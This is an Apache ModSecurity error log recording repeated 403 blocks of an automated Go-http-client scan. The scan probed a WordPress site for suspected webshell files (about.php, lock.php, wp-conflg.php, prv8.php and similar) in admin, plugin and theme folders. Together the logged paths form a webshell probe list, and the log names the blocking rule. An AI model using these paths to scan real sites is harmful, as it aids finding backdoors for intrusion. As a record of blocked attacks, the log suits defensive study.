[Thu Nov 20 21:43:20.541098 2025] [:error] [pid 55430:tid 55438] [client 185.223.152.218:50489] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/coffee/about.php"] [unique_id "aR8a-PPZXaIMEU4pE7shZgAAAMU"]
[Thu Nov 20 21:43:21.189135 2025] [:error] [pid 55430:tid 55446] [client 185.223.152.209:43389] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/lock.php"] [unique_id "aR8a-fPZXaIMEU4pE7shaQAAAM0"]
[Thu Nov 20 21:43:21.851162 2025] [:error] [pid 40445:tid 40499] [client 185.223.152.7:63209] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/index.php"] [unique_id "aR8a-VH-MuFcoWRjXpaY9QAAAlg"]
[Thu Nov 20 21:43:22.497500 2025] [:error] [pid 55342:tid 55393] [client 185.223.152.223:24963] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/class-walker-category-checklist-hashing.php"] [unique_id "aR8a-rg6x32Tvk7fIG8DtQAAAFU"]
[Thu Nov 20 21:43:23.147082 2025] [:error] [pid 55340:tid 55358] [client 185.223.152.206:58747] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aR8a-_OxD-NeMydTybC_dAAAAA0"]
[Thu Nov 20 21:43:23.795516 2025] [:error] [pid 40415:tid 40431] [client 185.223.152.212:43929] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/techl.php"] [unique_id "aR8a-6hjIyLSv09svwPRGwAAAc0"]
[Thu Nov 20 21:43:24.443538 2025] [:error] [pid 40537:tid 40543] [client 185.223.152.204:40933] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/link-manager-first.php"] [unique_id "aR8a_KKlsL5kxTa3c1wBAgAAAsI"]
[Thu Nov 20 21:43:25.091453 2025] [:error] [pid 55340:tid 55368] [client 185.223.152.225:34925] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Noname6.php"] [unique_id "aR8a_fOxD-NeMydTybC_dgAAABc"]
[Thu Nov 20 21:43:25.736920 2025] [:error] [pid 40508:tid 40512] [client 185.223.152.205:34275] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/autoload_classmap.php"] [unique_id "aR8a_axXNVCMW_ksxPvgxQAAAoI"]
[Thu Nov 20 21:43:26.387420 2025] [:error] [pid 40415:tid 40434] [client 185.223.152.208:59839] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/mlex.php"] [unique_id "aR8a_qhjIyLSv09svwPRHQAAAdA"]
[Thu Nov 20 21:43:27.034287 2025] [:error] [pid 55343:tid 55412] [client 185.223.152.208:24455] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/plex1.php"] [unique_id "aR8a_1WlO3EnyVMV7w7SRwAAAI0"]
[Thu Nov 20 21:43:27.681785 2025] [:error] [pid 55343:tid 55407] [client 185.223.152.214:41655] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/configYFW/about.php"] [unique_id "aR8a_1WlO3EnyVMV7w7SSgAAAIg"]
[Thu Nov 20 21:43:28.331331 2025] [:error] [pid 40508:tid 40514] [client 185.223.152.222:40303] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/css.php"] [unique_id "aR8bAKxXNVCMW_ksxPvgywAAAoQ"]
[Thu Nov 20 21:43:28.982726 2025] [:error] [pid 40537:tid 40542] [client 185.223.152.224:61991] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/m.php"] [unique_id "aR8bAKKlsL5kxTa3c1wBBAAAAsE"]
[Thu Nov 20 21:43:29.630354 2025] [:error] [pid 40636:tid 40650] [client 185.223.152.205:56991] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/option.php"] [unique_id "aR8bAQK8BWUoW3xq0HAtNgAAA4o"]
[Thu Nov 20 21:43:30.278813 2025] [:error] [pid 34405:tid 34426] [client 185.223.152.216:25039] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/options-privacy-part.php"] [unique_id "aR8bAjFpvu8oRK7ATftBZgAAARM"]
[Thu Nov 20 21:43:31.012370 2025] [:error] [pid 34405:tid 34411] [client 185.223.152.224:38063] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aR8bAzFpvu8oRK7ATftBaQAAAQQ"]
[Thu Nov 20 21:43:31.657177 2025] [:error] [pid 40537:tid 40556] [client 185.223.152.217:57397] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/backuply/s.php"] [unique_id "aR8bA6KlsL5kxTa3c1wBCQAAAs8"]
[Thu Nov 20 21:43:32.305425 2025] [:error] [pid 55430:tid 55454] [client 185.223.152.7:52469] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/chosen.php"] [unique_id "aR8bBPPZXaIMEU4pE7shcgAAANU"]
[Thu Nov 20 21:43:32.951756 2025] [:error] [pid 40445:tid 40482] [client 185.223.152.212:43097] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/class-json.php"] [unique_id "aR8bBFH-MuFcoWRjXpaZJAAAAkc"]
[Thu Nov 20 21:43:33.600327 2025] [:error] [pid 40445:tid 40491] [client 185.223.152.217:51489] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/"] [unique_id "aR8bBVH-MuFcoWRjXpaZKQAAAlA"]
[Thu Nov 20 21:43:34.249359 2025] [:error] [pid 55430:tid 55456] [client 185.223.152.205:65039] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/prv8.php"] [unique_id "aR8bBvPZXaIMEU4pE7shcwAAANc"]
[Thu Nov 20 21:43:34.896234 2025] [:error] [pid 40636:tid 40658] [client 185.223.152.227:37131] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/prv8.php"] [unique_id "aR8bBgK8BWUoW3xq0HAtOgAAA5I"]
[Thu Nov 20 21:43:35.544692 2025] [:error] [pid 40537:tid 40558] [client 185.223.152.223:21167] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/litespeed/about.php"] [unique_id "aR8bB6KlsL5kxTa3c1wBDAAAAtE"]
[Thu Nov 20 21:43:36.191643 2025] [:error] [pid 40415:tid 40440] [client 185.223.152.6:34469] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/ngg/modules/photocrati-nextgen_basic_imagebrowser/static/lock.php"] [unique_id "aR8bCKhjIyLSv09svwPRJAAAAdY"]
[Thu Nov 20 21:43:36.837438 2025] [:error] [pid 40415:tid 40439] [client 185.223.152.227:45039] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/all-in-one-wp-migration/lib/vendor/about.php"] [unique_id "aR8bCKhjIyLSv09svwPRJgAAAdU"]
[Thu Nov 20 21:43:37.494814 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.5:53031] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/amp/src/Editor/about.php"] [unique_id "aR8bCbg6x32Tvk7fIG8DvAAAAFA"]
[Thu Nov 20 21:43:38.141737 2025] [:error] [pid 40445:tid 40481] [client 185.223.152.204:50821] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "aR8bClH-MuFcoWRjXpaZOAAAAkY"]
[Thu Nov 20 21:43:38.790000 2025] [:error] [pid 40445:tid 40485] [client 185.223.152.214:24919] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php"] [unique_id "aR8bClH-MuFcoWRjXpaZOgAAAko"]
[Thu Nov 20 21:43:39.440654 2025] [:error] [pid 40445:tid 40489] [client 185.223.152.208:22997] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/checkout-for-woocommerce/about.php"] [unique_id "aR8bC1H-MuFcoWRjXpaZPgAAAk4"]
[Thu Nov 20 21:43:40.088908 2025] [:error] [pid 40537:tid 40562] [client 185.223.152.214:37329] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-forms/abc.php"] [unique_id "aR8bDKKlsL5kxTa3c1wBDwAAAtU"]
[Thu Nov 20 21:43:40.735388 2025] [:error] [pid 40415:tid 40434] [client 185.223.152.208:34681] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/core/frontend/render-modes/about.php"] [unique_id "aR8bDKhjIyLSv09svwPRKgAAAdA"]
[Thu Nov 20 21:43:41.381755 2025] [:error] [pid 40415:tid 40428] [client 185.223.152.220:38941] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php"] [unique_id "aR8bDahjIyLSv09svwPRLAAAAco"]
[Thu Nov 20 21:43:42.027753 2025] [:error] [pid 55340:tid 55365] [client 185.223.152.210:47979] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php"] [unique_id "aR8bDvOxD-NeMydTybC_fgAAABQ"]
[Thu Nov 20 21:43:42.674871 2025] [:error] [pid 55340:tid 55351] [client 185.223.152.216:60683] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/css/lib-view/code-snippet/lock.php"] [unique_id "aR8bDvOxD-NeMydTybC_fwAAAAY"]
[Thu Nov 20 21:43:43.323196 2025] [:error] [pid 55430:tid 55434] [client 185.223.152.224:37267] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/foter.php"] [unique_id "aR8bD_PZXaIMEU4pE7shfAAAAME"]
[Thu Nov 20 21:43:43.970704 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.221:28781] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/new.php"] [unique_id "aR8bD7g6x32Tvk7fIG8DxAAAAFc"]
[Thu Nov 20 21:43:44.619958 2025] [:error] [pid 55343:tid 55410] [client 185.223.152.220:52987] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/nodeinfo/theme.php"] [unique_id "aR8bEFWlO3EnyVMV7w7ScAAAAIs"]
[Thu Nov 20 21:43:45.269480 2025] [:error] [pid 55340:tid 55357] [client 185.223.152.217:58459] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/nux.php"] [unique_id "aR8bEfOxD-NeMydTybC_gwAAAAw"]
[Thu Nov 20 21:43:45.915158 2025] [:error] [pid 40636:tid 40657] [client 185.223.152.207:63557] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/quadmenu/assets/frontend/icons/fontawesome/css/lock.php"] [unique_id "aR8bEQK8BWUoW3xq0HAtPwAAA5E"]
[Thu Nov 20 21:43:46.561114 2025] [:error] [pid 40508:tid 40519] [client 185.223.152.216:52595] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/quadmenu/redux/ReduxCore/inc/themecheck/checks/lock.php"] [unique_id "aR8bEqxXNVCMW_ksxPvg2QAAAok"]
[Thu Nov 20 21:43:47.207337 2025] [:error] [pid 40636:tid 40641] [client 185.223.152.227:33855] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/really-simple-ssl/lets-encrypt/integrations/admin.php"] [unique_id "aR8bEwK8BWUoW3xq0HAtQAAAA4E"]
[Thu Nov 20 21:43:47.855250 2025] [:error] [pid 40636:tid 40651] [client 185.223.152.213:36299] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/royal-elementor-addons/modules/theme-builder/post-navigation/widgets/lock.php"] [unique_id "aR8bEwK8BWUoW3xq0HAtQQAAA4s"]
[Thu Nov 20 21:43:48.503268 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.8:53901] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/toxkssp/index.php"] [unique_id "aR8bFLg6x32Tvk7fIG8DxwAAAEE"]
[Thu Nov 20 21:43:49.153307 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.209:56277] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/woocommerce-advanced-bulk-edit/about.php"] [unique_id "aR8bFVWlO3EnyVMV7w7SgAAAAIY"]
[Thu Nov 20 21:43:49.800825 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.222:23467] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wophq/index.php"] [unique_id "aR8bFfPZXaIMEU4pE7shgQAAANI"]
[Thu Nov 20 21:43:50.448103 2025] [:error] [pid 40415:tid 40435] [client 185.223.152.226:30869] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/user-profiles-additions/about.php"] [unique_id "aR8bFqhjIyLSv09svwPRNQAAAdE"]
[Thu Nov 20 21:43:51.095220 2025] [:error] [pid 40445:tid 40498] [client 185.223.152.211:61195] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/wrappers/about.php"] [unique_id "aR8bF1H-MuFcoWRjXpaZRgAAAlc"]
[Thu Nov 20 21:43:51.740917 2025] [:error] [pid 40415:tid 40426] [client 185.223.152.224:29495] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-all-import-pro/addon-api/about.php"] [unique_id "aR8bF6hjIyLSv09svwPROgAAAcg"]
[Thu Nov 20 21:43:52.388854 2025] [:error] [pid 40636:tid 40663] [client 185.223.152.225:40315] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wpvivid-backup-mainwp/vendor/psr/cache/lock.php"] [unique_id "aR8bGAK8BWUoW3xq0HAtQwAAA5c"]
[Thu Nov 20 21:43:53.034773 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.216:21683] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/botticelli/content-index.php"] [unique_id "aR8bGbg6x32Tvk7fIG8DywAAAFA"]
[Thu Nov 20 21:43:53.683050 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.225:56031] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aR8bGVWlO3EnyVMV7w7SjwAAAIc"]
